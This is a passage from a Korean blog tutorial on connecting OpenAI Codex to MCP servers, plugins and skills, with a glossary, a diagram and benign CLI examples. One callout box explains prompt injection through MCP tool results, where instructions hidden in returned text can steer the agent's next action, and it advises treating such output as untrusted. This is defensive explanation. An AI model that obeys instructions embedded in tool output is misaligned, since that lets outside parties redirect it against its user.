&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2756&quot; data-origin-height=&quot;1544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3M2ec/dJMcagMgW1C/oKMKrbVUMyuYwK97KSuxA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3M2ec/dJMcagMgW1C/oKMKrbVUMyuYwK97KSuxA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3M2ec/dJMcagMgW1C/oKMKrbVUMyuYwK97KSuxA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3M2ec%2FdJMcagMgW1C%2FoKMKrbVUMyuYwK97KSuxA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2756&quot; height=&quot;1544&quot; data-origin-width=&quot;2756&quot; data-origin-height=&quot;1544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex를 어느 정도 쓰다 보면 다음 질문이 생긴다. 코드 수정은 되는데, GitHub 이슈를 보거나, 외부 문서를 찾아오거나, 브라우저에서 화면을 확인하는 일은 여전히 다른 도구를 오가며 처리해야 한다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이번 글에서는 그 연결부를 다뤄 보려고 한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 12px 0; padding-left: 24px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP&lt;/b&gt;: Codex가 내 GitHub 이슈 목록을 직접 불러올 때.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plugin&lt;/b&gt;: 팀 전체가 같은 MCP 묶음을 한 번에 설치할 때.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skill&lt;/b&gt;: 매번 PR 리뷰 방식을 다시 설명 안 해도 될 때.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bS5l3o/dJMcaiDhoAa/6zN42ymL6RaXYDz3wpA831/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bS5l3o/dJMcaiDhoAa/6zN42ymL6RaXYDz3wpA831/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bS5l3o/dJMcaiDhoAa/6zN42ymL6RaXYDz3wpA831/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbS5l3o%2FdJMcaiDhoAa%2F6zN42ymL6RaXYDz3wpA831%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2040&quot; height=&quot;1124&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이름만 따로 떼면,&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP&lt;/b&gt;(Model Context Protocol)는 Codex가 외부 도구를 호출하는 통로다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plugin&lt;/b&gt;은 그 도구&amp;middot;Skill 묶음을 한 패키지로 배포하는 단위다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skill&lt;/b&gt;은 자주 쓰는 작업 흐름을 마크다운 파일로 저장해 이름으로 호출하는 재사용 단위다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffd700; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;먼저 용어부터 가볍게 잡고 가자 (미니사전)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP&lt;/b&gt;: AI가 외부 도구(GitHub, DB, 브라우저)에 표준 방식으로 요청&amp;middot;응답을 주고받는 통신 규약. USB-C 포트라고 보면 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plugin&lt;/b&gt;: MCP 서버&amp;middot;Skill&amp;middot;앱 연동을 한 패키지로 묶어 설치 가능하게 배포하는 단위.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skill&lt;/b&gt;: 자주 쓰는 작업 흐름을 마크다운 파일로 저장해두고 이름으로 호출하는 재사용 단위.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;transport&lt;/b&gt;: MCP 메시지를 실제로 주고받는 채널. 로컬 프로세스끼리 쓰는 stdio, 외부 서버용 HTTP가 대표적이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;manifest&lt;/b&gt;: 플러그인 이름&amp;middot;버전&amp;middot;포함 MCP 서버 목록을 담은 설정 파일. 앱스토어 앱 정보지에 가깝다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;tool discovery&lt;/b&gt;: 에이전트가 MCP 서버에 &quot;어떤 기능 있어?&quot;라고 묻는 과정. 서버가 지원하는 도구 목록을 자동 파악한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;capability negotiation&lt;/b&gt;: 연결 초기에 에이전트와 MCP 서버가 서로 지원 기능을 확인하는 협상 과정.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;implicit invocation&lt;/b&gt;: 자연어로 작업을 설명하면 Codex가 등록된 Skill&amp;middot;Plugin 중 적절한 것을 자동 선택하는 방식.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;explicit invocation&lt;/b&gt;: @plugin-name 또는 @skill-name으로 사용자가 직접 지정하는 방식. Skill이 여러 개일 때 결과 예측이 쉽다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/596&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1: CLI 빠른 시작&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지 (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP&amp;middot;Plugin&amp;middot;Skill 관계도 (한 장으로 보기)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;less&quot; style=&quot;background: #ffffff; color: #333; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', Consolas, monospace; font-size: 13px; line-height: 1.5; margin: 0; overflow-x: auto;&quot;&gt;&lt;code&gt;[Codex Agent]
     │
     ├─[MCP]── GitHub API / DB / Browser
     │          (실시간 외부 도구 연결)
     │
     ├─[Plugin]── MCP 묶음 패키지
     │             (설치&amp;middot;배포 단위)
     │
     └─[Skill]── .md 작업 흐름 파일
                  (재사용 단위)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;각 층의 역할은 아래 섹션에서 하나씩 살펴본다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 28px 0 14px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 12px 0; padding-left: 24px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;MCP가 왜 중요한가&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;MCP 서버 등록 &amp;mdash; STDIO와 HTTP&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;CLI &amp;harr; TOML 매핑 빠른 참조&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;권장 MCP 서버 후보 3종&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;도구 권한과 타임아웃 제어&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;Skills &amp;mdash; 이론과 실제 설치&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;Plugins &amp;mdash; 배포와 실제 설치&lt;/li&gt;
&lt;li style=&quot;margin: 6px 0;&quot;&gt;정리와 의사결정 트리&lt;/li&gt;
&lt;/ol&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;개념&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;한 줄 설명&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;MCP 서버&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;Codex가 외부 도구&amp;middot;데이터에 접근하는 연결 통로&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;GitHub 이슈, 라이브러리 문서, 브라우저 등 저장소 밖 자원이 필요할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;Plugin&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;Skills&amp;middot;앱 연동&amp;middot;MCP 서버를 묶어 설치 가능한 형태로 배포하는 단위&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;팀 전원에게 동일한 확장 묶음을 배포해야 할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;Skill&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;반복 작업 절차를 SKILL.md 파일로 정의해 Codex가 재사용하는 지침&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;릴리스 노트 작성, 보안 점검 등 팀 내 반복 작업을 표준화할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;STDIO 서버&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;로컬 프로세스를 실행해 MCP 서버와 표준 입출력으로 통신하는 방식&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;네트워크 설정 없이 로컬에서 빠르게 MCP 서버를 테스트할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;HTTP 서버&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;URL로 접근하는 외부 MCP 서버 &amp;mdash; 인증 토큰으로 연결&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px;&quot;&gt;Figma, GitHub 등 외부 SaaS 서비스를 Codex 작업에 연결할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin: 34px 0 18px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. MCP가 왜 중요한가&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2620&quot; data-origin-height=&quot;1478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MNrlN/dJMcahRTIHm/8hJ9GKSxQJAlFZpvk8wKVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MNrlN/dJMcahRTIHm/8hJ9GKSxQJAlFZpvk8wKVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MNrlN/dJMcahRTIHm/8hJ9GKSxQJAlFZpvk8wKVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMNrlN%2FdJMcahRTIHm%2F8hJ9GKSxQJAlFZpvk8wKVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2620&quot; height=&quot;1478&quot; data-origin-width=&quot;2620&quot; data-origin-height=&quot;1478&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex의 기본 능력은 현재 프로젝트를 읽고, 코드를 수정하고, 셸 명령을 실행하는 데 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 실제 개발 업무는 저장소 안에서만 끝나지 않는다. 이슈 트래커, 문서 사이트, 디자인 파일, 브라우저, 로그 시스템까지 함께 봐야 할 때가 많다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;나도 처음에 Codex로 코드만 고치다가, &quot;그래서 이 라이브러리 최신 문서대로 맞췄나?&quot;가 늘 걸렸다. 외부 문서&amp;middot;이슈를 같이 보게 만드는 통로가 바로 MCP다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none; border-bottom: 1px solid #0066cc;&quot; href=&quot;https://developers.openai.com/codex/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 공식 문서&lt;/a&gt;는 Codex에서 MCP 서버를 설정하는 방법을 다룬다. 여기서 중요한 점은 MCP를 &quot;또 하나의 플러그인 이름&quot;으로 보는 것이 아니라, Codex가 외부 도구나 공유 정보에 접근하는 서버 연결 방식으로 이해하는 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffd700; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP 연결할 때 자주 듣는 두 단어&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;tool discovery&lt;/b&gt;: 에이전트가 MCP 서버에 &quot;너 어떤 기능 있어?&quot;라고 묻는 과정. 서버가 지원하는 도구 목록을 자동으로 파악한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;capability negotiation&lt;/b&gt;: 연결 초기에 에이전트와 MCP 서버가 서로 지원 기능을 확인하고 맞추는 협상 과정. 두 사람이 만나기 전에 &quot;나는 영어, 너는 한국어 가능해?&quot;부터 맞추는 것과 같다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;border-left: 6px solid #5c7cfa; padding: 16px 20px; background-color: #f3f0ff; border-radius: 8px; margin: 20px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2616&quot; data-origin-height=&quot;1476&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgTDqb/dJMcaiwvvbl/4HmKMXP0iNlkhUWt5KlAW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgTDqb/dJMcaiwvvbl/4HmKMXP0iNlkhUWt5KlAW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgTDqb/dJMcaiwvvbl/4HmKMXP0iNlkhUWt5KlAW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgTDqb%2FdJMcaiwvvbl%2F4HmKMXP0iNlkhUWt5KlAW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2616&quot; height=&quot;1476&quot; data-origin-width=&quot;2616&quot; data-origin-height=&quot;1476&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP 서버가 많을수록 Codex가 더 유능해질까?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;툴킷이 많을수록 더 유능하다는 직관은 MCP에서 그대로 통하지 않는다. 오히려 반대로 작동하는 상황이 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP tool result를 통한 prompt injection&lt;/b&gt; &amp;mdash; MCP 서버가 반환하는 텍스트 안에 지시문이 숨어 있으면 Codex가 그것을 다음 행동의 지시로 읽을 수 있다. 공식 문서는 이 공격 벡터를 별도로 다루지 않는다. 하지만 외부 MCP 서버가 반환하는 데이터를 신뢰 경계 밖 입력으로 취급해야 하는 이유가 여기 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP가 진짜 필요한 3가지:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;① 저장소 밖 데이터를 Codex가 직접 읽어야 할 때 (문서, 이슈 트래커)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;② Codex 작업 결과를 외부 시스템에 써야 할 때 (GitHub PR 생성)&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;③ 브라우저&amp;middot;로그 같은 런타임 상태를 확인해야 할 때. 이 3가지 중 하나가 아니면 MCP 없이 프롬프트로 충분하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;실전에서는 &quot;라이브러리 문서를 확인하고 그 기준으로 코드를 고쳐라&quot; 같은 요청이 대표적이다.&lt;/p&gt;
&lt;p style=&quot;margin: 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;이때 context7 같은 문서 MCP 서버를 붙이면 Codex가 기억에만 기대지 않고 외부 문서를 직접 읽는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffd700; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MCP를 한 줄 비유로 다시 말하면&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xaCOk/dJMcaaecUpF/tcOyUt9lVuV8HtF95wDNEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xaCOk/dJMcaaecUpF/tcOyUt9lVuV8HtF95wDNEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xaCOk/dJMcaaecUpF/tcOyUt9lVuV8HtF95wDNEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxaCOk%2FdJMcaaecUpF%2FtcOyUt9lVuV8HtF95wDNEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1084&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;노트북 충전기&amp;middot;외장 모니터&amp;middot;외장 SSD가 다 다른 단자를 쓰던 시절을 USB-C가 정리한 것과 같다. &lt;br /&gt;도구마다 다른 통신 방식을 만들지 말고, AI 에이전트와 외부 도구가 공통 규약 하나만 알고 있으면 된다는 발상이 MCP다. &lt;br /&gt;Codex가 GitHub에 붙든, Notion에 붙든, 사내 DB에 붙든 같은 문법으로 도구를 호출한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 14px 16px; margin: 18px 0; border-radius: 6px; color: #333;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;잠깐 &amp;mdash; 어려운 문법 외우기 전에 이것부터&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;MCP를 설치하지 않아도 Codex는 이미 CLI를 직접 호출할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;초보자라면 이 세 가지만 알고 시작해도 충분하다.&lt;/p&gt;
&lt;ul style=&quot;margin: 6px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;codex &quot;React 최신 useEffect 규칙대로 수정해&quot;&lt;/code&gt; &amp;mdash; context7 MCP를 등록하면 Codex가 공식 문서를 직접 참조하며 수정한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;aws s3 ls&lt;/code&gt; &amp;middot; &lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;gh pr view 123&lt;/code&gt; &amp;mdash; MCP 없이도 Codex가 CLI를 직접 호출한다. &quot;aws mcp 안 깔아도 클로드 코드가 알아서 aws cli로 처리한다&quot;는 실무 사례가 있다 (GeekNews @jamsya, 2026-03)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: #f5f7fa; color: #c7254e; padding: 2px 5px; border-radius: 4px; font-family: Consolas, monospace; font-size: 0.92em;&quot;&gt;codex &quot;myorg/myrepo 이슈 #42에 bug 라벨 붙여줘&quot;&lt;/code&gt; &amp;mdash; GitHub MCP를 등록하면 자연어 한 줄로 끝난다&lt;/li&gt;
&lt;/ul&gt;
